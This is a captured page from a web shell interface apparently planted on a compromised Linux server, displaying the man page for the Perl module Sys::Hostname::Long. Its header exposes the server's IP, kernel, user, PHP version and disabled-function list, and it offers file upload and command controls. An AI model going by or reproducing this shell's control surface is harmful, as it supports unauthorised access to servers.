403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.147.86.143
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/share/man/man3/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/share/man/man3/Sys::Hostname::Long.3pm
.\" Automatically generated by Pod::Man 2.27 (Pod::Simple 3.28)
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
.\" nothing in troff, for use with C<>.
.tr \(*W-
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
.    ds C`
.    ds C'
'br\}
.\"
.\" Escape single quotes in literal strings from groff's Unicode transform.
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.\"
.\" Avoid warning from groff about undefined register 'F'.
.de IX
..
.nr rF 0
.if \n(.g .if rF .nr rF 1
.if (\n(rF:(\n(.g==0)) \{
.    if \nF \{
.        de IX
.        tm Index:\\$1\t\\n%\t"\\$2"
..
.        if !\nF==2 \{
.            nr % 0
.            nr F 2
.        \}
.    \}
.\}
.rr rF
.\" ========================================================================
.\"
.IX Title "Sys::Hostname::Long 3"
.TH Sys::Hostname::Long 3 "2015-01-13" "perl v5.16.3" "User Contributed Perl Documentation"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.if n .ad l
.nh
.SH "NAME"
Sys::Hostname::Long \- Try every conceivable way to get full hostname
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 2
\&    use Sys::Hostname::Long;
\&    $host_long = hostname_long;
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
How to get the host full name in perl on multiple operating systems (mac,
windows, unix* etc)
.SH "DISCUSSION"
.IX Header "DISCUSSION"
This is the \s-1SECOND\s0 release of this code. It has an improved set of tests and
improved interfaces \- but it is still often failing to get a full host name.
This of course is the reason I wrote the module, it is difficult to get full
host names accurately on each system. On some systems (eg: Linux) it is
dependent on the order of the entries in /etc/hosts.
.PP
To make it easier to test I have testall.pl to generate an output list of all
methods. Thus even if the logic is incorrect, it may be possible to get the
full name.
.PP
Attempt via many methods to get the systems full name. The Sys::Hostname
class is the best and standard way to get the system hostname. However it is
missing the long hostname.
.PP
Special thanks to \fBDavid Sundstrom\fR and \fBGreg Bacon\fR for the original
Sys::Hostname
.SH "SUPPORT"
.IX Header "SUPPORT"
This is the original list of platforms tested.
.PP
.Vb 11
\&        MacOS           Macintosh Classic               OK
\&        Win32           MS Windows (95,98,nt,2000...)
\&                        98                              OK
\&        MacOS X         Macintosh 10                    OK
\&                        (other darwin)                  Probably OK (not tested)
\&        Linux           Linux UNIX OS                   OK
\&                        Sparc                           OK
\&        HPUX            H.P. Unix 10?                   Not Tested
\&        Solaris         SUN Solaris 7?                  OK (now)
\&        Irix            SGI Irix 5?                     Not Tested
\&        FreeBSD         FreeBSD                         OK
.Ve
.PP
A new list has now been compiled of all the operating systems so that I can
individually keep information on their success.
.PP
\&\s-1THIS IS IN NEED OF AN UPDATE AFTER NEXT RELEASE.\s0
.IP "Acorn \- Not yet tested" 4
.IX Item "Acorn - Not yet tested"
.PD 0
.IP "\s-1AIX \-\s0 Not yet tested" 4
.IX Item "AIX - Not yet tested"
.IP "Amiga \- Not yet tested" 4
.IX Item "Amiga - Not yet tested"
.IP "Atari \- Not yet tested" 4
.IX Item "Atari - Not yet tested"
.IP "AtheOS \- Not yet tested" 4
.IX Item "AtheOS - Not yet tested"
.IP "BeOS \- Not yet tested" 4
.IX Item "BeOS - Not yet tested"
.IP "\s-1BSD \-\s0 Not yet tested" 4
.IX Item "BSD - Not yet tested"
.IP "\s-1BSD/OS \-\s0 Not yet tested" 4
.IX Item "BSD/OS - Not yet tested"
.IP "Compaq \- Not yet tested" 4
.IX Item "Compaq - Not yet tested"
.IP "Cygwin \- Not yet tested" 4
.IX Item "Cygwin - Not yet tested"
.IP "Concurrent \- Not yet tested" 4
.IX Item "Concurrent - Not yet tested"
.IP "\s-1DG/UX \-\s0 Not yet tested" 4
.IX Item "DG/UX - Not yet tested"
.IP "Digital \- Not yet tested" 4
.IX Item "Digital - Not yet tested"
.IP "\s-1DEC OSF/1 \-\s0 Not yet tested" 4
.IX Item "DEC OSF/1 - Not yet tested"
.IP "Digital \s-1UNIX \-\s0 Not yet tested" 4
.IX Item "Digital UNIX - Not yet tested"
.IP "DYNIX/ptx \- Not yet tested" 4
.IX Item "DYNIX/ptx - Not yet tested"
.IP "\s-1EPOC \-\s0 Not yet tested" 4
.IX Item "EPOC - Not yet tested"
.IP "FreeBSD \- Not yet tested" 4
.IX Item "FreeBSD - Not yet tested"
.IP "Fujitsu-Siemens \- Not yet tested" 4
.IX Item "Fujitsu-Siemens - Not yet tested"
.IP "Guardian \- Not yet tested" 4
.IX Item "Guardian - Not yet tested"
.IP "\s-1HP \-\s0 Not yet tested" 4
.IX Item "HP - Not yet tested"
.IP "HP-UX \- Not yet tested" 4
.IX Item "HP-UX - Not yet tested"
.IP "\s-1IBM \-\s0 Not yet tested" 4
.IX Item "IBM - Not yet tested"
.IP "\s-1IRIX \-\s0 Not yet tested \- 3rd hand information might be ok." 4
.IX Item "IRIX - Not yet tested - 3rd hand information might be ok."
.IP "Japanese \- Not yet tested" 4
.IX Item "Japanese - Not yet tested"
.IP "JPerl \- Not yet tested" 4
.IX Item "JPerl - Not yet tested"
.IP "Linux" 4
.IX Item "Linux"
.RS 4
.IP "Debian \- Not yet tested" 8
.IX Item "Debian - Not yet tested"
.IP "Gentoo \- Not yet tested" 8
.IX Item "Gentoo - Not yet tested"
.IP "Mandrake \- Not yet tested" 8
.IX Item "Mandrake - Not yet tested"
.IP "Red Hat\- Not yet tested" 8
.IX Item "Red Hat- Not yet tested"
.IP "Slackware \- Not yet tested" 8
.IX Item "Slackware - Not yet tested"
.IP "SuSe \- Not yet tested" 8
.IX Item "SuSe - Not yet tested"
.IP "Yellowdog \- Not yet tested" 8
.IX Item "Yellowdog - Not yet tested"
.RE
.RS 4
.RE
.IP "LynxOS \- Not yet tested" 4
.IX Item "LynxOS - Not yet tested"
.IP "Mac \s-1OS \-\s0 Not yet tested" 4
.IX Item "Mac OS - Not yet tested"
.IP "Mac \s-1OS X \- OK 20040315 \s0(v1.1)" 4
.IX Item "Mac OS X - OK 20040315 (v1.1)"
.IP "MachTen \- Not yet tested" 4
.IX Item "MachTen - Not yet tested"
.IP "Minix \- Not yet tested" 4
.IX Item "Minix - Not yet tested"
.IP "MinGW \- Not yet tested" 4
.IX Item "MinGW - Not yet tested"
.IP "MiNT \- Not yet tested" 4
.IX Item "MiNT - Not yet tested"
.IP "MPE/iX \- Not yet tested" 4
.IX Item "MPE/iX - Not yet tested"
.IP "MS-DOS \- Not yet tested" 4
.IX Item "MS-DOS - Not yet tested"
.IP "\s-1MVS \-\s0 Not yet tested" 4
.IX Item "MVS - Not yet tested"
.IP "NetBSD \- Not yet tested" 4
.IX Item "NetBSD - Not yet tested"
.IP "NetWare \- Not yet tested" 4
.IX Item "NetWare - Not yet tested"
.IP "NEWS-OS \- Not yet tested" 4
.IX Item "NEWS-OS - Not yet tested"
.IP "NextStep \- Not yet tested" 4
.IX Item "NextStep - Not yet tested"
.IP "Novell \- Not yet tested" 4
.IX Item "Novell - Not yet tested"
.IP "NonStop \- Not yet tested" 4
.IX Item "NonStop - Not yet tested"
.IP "NonStop-UX \- Not yet tested" 4
.IX Item "NonStop-UX - Not yet tested"
.IP "OpenBSD \- Not yet tested" 4
.IX Item "OpenBSD - Not yet tested"
.IP "\s-1ODT \-\s0 Not yet tested" 4
.IX Item "ODT - Not yet tested"
.IP "OpenVMS \- Not yet tested" 4
.IX Item "OpenVMS - Not yet tested"
.IP "Open \s-1UNIX \-\s0 Not yet tested" 4
.IX Item "Open UNIX - Not yet tested"
.IP "\s-1OS/2 \-\s0 Not yet tested" 4
.IX Item "OS/2 - Not yet tested"
.IP "\s-1OS/390 \-\s0 Not yet tested" 4
.IX Item "OS/390 - Not yet tested"
.IP "\s-1OS/400 \-\s0 Not yet tested" 4
.IX Item "OS/400 - Not yet tested"
.IP "\s-1OSF/1 \-\s0 Not yet tested" 4
.IX Item "OSF/1 - Not yet tested"
.IP "\s-1OSR \-\s0 Not yet tested" 4
.IX Item "OSR - Not yet tested"
.IP "Plan 9 \- Not yet tested" 4
.IX Item "Plan 9 - Not yet tested"
.IP "Pocket \s-1PC \-\s0 Not yet tested" 4
.IX Item "Pocket PC - Not yet tested"
.IP "PowerMAX \- Not yet tested" 4
.IX Item "PowerMAX - Not yet tested"
.IP "Psion \- Not yet tested" 4
.IX Item "Psion - Not yet tested"
.IP "\s-1QNX\s0" 4
.IX Item "QNX"
.RS 4
.IP "4 \- Not yet tested" 8
.IX Item "4 - Not yet tested"
.IP "6 (Neutrino) \- Not yet tested" 8
.IX Item "6 (Neutrino) - Not yet tested"
.RE
.RS 4
.RE
.IP "Reliant \s-1UNIX \-\s0 Not yet tested" 4
.IX Item "Reliant UNIX - Not yet tested"
.IP "\s-1RISCOS \-\s0 Not yet tested" 4
.IX Item "RISCOS - Not yet tested"
.IP "\s-1SCO \-\s0 Not yet tested" 4
.IX Item "SCO - Not yet tested"
.IP "\s-1SGI \-\s0 Not yet tested" 4
.IX Item "SGI - Not yet tested"
.IP "Symbian \- Not yet tested" 4
.IX Item "Symbian - Not yet tested"
.IP "Sequent \- Not yet tested" 4
.IX Item "Sequent - Not yet tested"
.IP "Siemens \- Not yet tested" 4
.IX Item "Siemens - Not yet tested"
.IP "\s-1SINIX \-\s0 Not yet tested" 4
.IX Item "SINIX - Not yet tested"
.IP "Solaris \- Not yet tested" 4
.IX Item "Solaris - Not yet tested"
.IP "\s-1SONY \-\s0 Not yet tested" 4
.IX Item "SONY - Not yet tested"
.IP "Sun \- Not yet tested" 4
.IX Item "Sun - Not yet tested"
.IP "Stratus \- Not yet tested" 4
.IX Item "Stratus - Not yet tested"
.IP "Tandem \- Not yet tested" 4
.IX Item "Tandem - Not yet tested"
.IP "Tru64 \- Not yet tested" 4
.IX Item "Tru64 - Not yet tested"
.IP "Ultrix \- Not yet tested" 4
.IX Item "Ultrix - Not yet tested"
.IP "\s-1UNIX \-\s0 Not yet tested" 4
.IX Item "UNIX - Not yet tested"
.IP "U/WIN \- Not yet tested" 4
.IX Item "U/WIN - Not yet tested"
.IP "Unixware \- Not yet tested" 4
.IX Item "Unixware - Not yet tested"
.IP "\s-1VMS \-\s0 Not yet tested" 4
.IX Item "VMS - Not yet tested"
.IP "\s-1VOS \-\s0 Not yet tested" 4
.IX Item "VOS - Not yet tested"
.IP "Windows" 4
.IX Item "Windows"
.RS 4
.IP "\s-1CE \-\s0 Not yet tested" 8
.IX Item "CE - Not yet tested"
.IP "3.1 \- Not yet tested" 8
.IX Item "3.1 - Not yet tested"
.IP "95 \- Not yet tested" 8
.IX Item "95 - Not yet tested"
.IP "98 \- Not yet tested" 8
.IX Item "98 - Not yet tested"
.IP "Me \- Not yet tested" 8
.IX Item "Me - Not yet tested"
.IP "\s-1NT \-\s0 Not yet tested" 8
.IX Item "NT - Not yet tested"
.IP "2000 \- Not yet tested" 8
.IX Item "2000 - Not yet tested"
.IP "\s-1XP \-\s0 Not yet tested" 8
.IX Item "XP - Not yet tested"
.RE
.RS 4
.RE
.IP "z/OS \- Not yet tested" 4
.IX Item "z/OS - Not yet tested"
.PD
.SH "KNOWN LIMITATIONS"
.IX Header "KNOWN LIMITATIONS"
.SS "Unix"
.IX Subsection "Unix"
Most unix systems have trouble working out the fully qualified domain name as
it to be configured somewhere in the system correctly. For example in most
linux systems (debian, ?) the fully qualified name should be the first entry
next to the ip number in /etc/hosts
.PP
.Vb 1
\&        192.168.0.1     fred.somwhere.special   fred
.Ve
.PP
If it is the other way around, it will fail.
.SS "Mac"
.IX Subsection "Mac"
.SH "TODO"
.IX Header "TODO"
Contributions
.PP
.Vb 3
\&        David Dick
\&        Graeme Hart
\&        Piotr Klaban
\&
\&        * Extra code from G
\&        * Dispatch table
\&        * List of all operating systems.
.Ve
.PP
Solaris
	* Fall back 2 \- \s-1TCP\s0 with \s-1DNS\s0 works ok
	* Also can read /etc/defaultdomain file
.SH "SEE ALSO"
.IX Header "SEE ALSO"
.Vb 1
\&        L<Sys::Hostname>
.Ve
.SH "AUTHOR"
.IX Header "AUTHOR"
Originally by Scott Penrose <\fIscottp@dd.com.au\fR>
.PP
Contributions: Michiel Beijen <\fImichiel.beijen@gmail.com\fR>
.SH "COPYRIGHT"
.IX Header "COPYRIGHT"
Copyright (c) 2001,2004,2005,2015 Scott Penrose. All rights reserved.
This program is free software; you can redistribute it and/or modify
it under the same terms as Perl itself.

Youez - 2016 - github.com/yon3zu
LinuXploit